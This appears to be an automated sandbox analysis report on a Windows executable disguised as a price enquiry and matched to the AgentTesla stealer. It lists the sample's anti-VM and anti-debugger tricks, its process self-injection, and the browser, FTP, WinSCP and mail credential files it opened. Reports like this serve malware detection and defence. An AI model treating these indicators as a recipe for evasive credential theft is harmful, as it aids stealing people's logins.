Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Function Chain: memAlloc,systemQueried,systemQueried,threadCreated,threadResumed,threadDelayed,threadDelayed,threadDelayed,systemQueried,systemQueried,threadDelayed,systemQueried,threadDelayed,threadDelayed,threadAPCQueued,threadDelayed,threadDelayed,systemQueried,threadDelayed,threadDelayed,systemQueried,threadDelayed,threadDelayed,threadDelayed,threadDelayed

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe TID: 4848	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe TID: 4848	Thread sleep time: -14250000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe TID: 4848	Thread sleep time: -90000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Window / User API: threadDelayed 475

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_00405E93 FindFirstFileA,FindClose,	0_2_00405E93
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_004054BD
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_00402671 FindFirstFileA,	0_2_00402671
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00404A29 FindFirstFileExW,	1_2_00404A29
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_1_00404A29 FindFirstFileExW,	1_1_00404A29

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: Price enquiry for test machine.exe, 00000001.00000002.547347419.0000000005462000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWU
Source: Price enquiry for test machine.exe, 00000001.00000002.547347419.0000000005462000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 1_2_0040446F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_0040446F

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 1_2_004067FE GetProcessHeap,

1_2_004067FE

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_72E46402 mov eax, dword ptr fs:[00000030h]	0_2_72E46402
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_72E466C7 mov eax, dword ptr fs:[00000030h]	0_2_72E466C7
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_72E46744 mov eax, dword ptr fs:[00000030h]	0_2_72E46744
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_72E46706 mov eax, dword ptr fs:[00000030h]	0_2_72E46706
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 0_2_72E46616 mov eax, dword ptr fs:[00000030h]	0_2_72E46616
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_004035F1 mov eax, dword ptr fs:[00000030h]	1_2_004035F1
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_1_004035F1 mov eax, dword ptr fs:[00000030h]	1_1_004035F1

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 1_2_049DED98 LdrInitializeThunk,

1_2_049DED98

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00401E1D SetUnhandledExceptionFilter,	1_2_00401E1D
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_0040446F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0040446F
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00401C88 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00401C88
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_2_00401F30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00401F30
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_1_00401E1D SetUnhandledExceptionFilter,	1_1_00401E1D
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_1_0040446F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_1_0040446F
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_1_00401C88 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_1_00401C88
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Code function: 1_1_00401F30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_1_00401F30

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Memory written: C:\Users\user\Desktop\Price enquiry for test machine.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Process created: C:\Users\user\Desktop\Price enquiry for test machine.exe 'C:\Users\user\Desktop\Price enquiry for test machine.exe'

Jump to behavior

Source: Price enquiry for test machine.exe, 00000001.00000002.545562667.0000000000E60000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: Price enquiry for test machine.exe, 00000001.00000002.545562667.0000000000E60000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: Price enquiry for test machine.exe, 00000001.00000002.545562667.0000000000E60000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: Price enquiry for test machine.exe, 00000001.00000002.545562667.0000000000E60000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 1_2_0040208D cpuid

1_2_0040208D

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Code function: 1_2_00401B74 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00401B74

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

0_2_004030FB

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.7a77e8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.4980000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Price enquiry for test machine.exe.2371458.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.7a77e8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Price enquiry for test machine.exe.2360000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.4940000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.415058.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.415058.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Price enquiry for test machine.exe.2360000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.Price enquiry for test machine.exe.415058.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.Price enquiry for test machine.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.4940000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.Price enquiry for test machine.exe.415058.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Price enquiry for test machine.exe.2371458.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.544995726.0000000000768000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.288215698.0000000002360000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.546940233.0000000004940000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.546899969.0000000003841000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.546967586.0000000004982000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Price enquiry for test machine.exe PID: 5956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Price enquiry for test machine.exe PID: 4344, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Price enquiry for test machine.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Price enquiry for test machine.exe PID: 4344, type: MEMORYSTR

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.7a77e8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.4980000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Price enquiry for test machine.exe.2371458.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.7a77e8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Price enquiry for test machine.exe.2360000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.4940000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.415058.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.415058.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Price enquiry for test machine.exe.2360000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.Price enquiry for test machine.exe.415058.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.Price enquiry for test machine.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Price enquiry for test machine.exe.4940000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.Price enquiry for test machine.exe.415058.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Price enquiry for test machine.exe.2371458.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.544995726.0000000000768000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.288215698.0000000002360000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.544787506.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.546940233.0000000004940000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.546899969.0000000003841000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.546967586.0000000004982000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.545933351.0000000002841000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Price enquiry for test machine.exe PID: 5956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Price enquiry for test machine.exe PID: 4344, type: MEMORYSTR

Mitre Att&ck Matrix

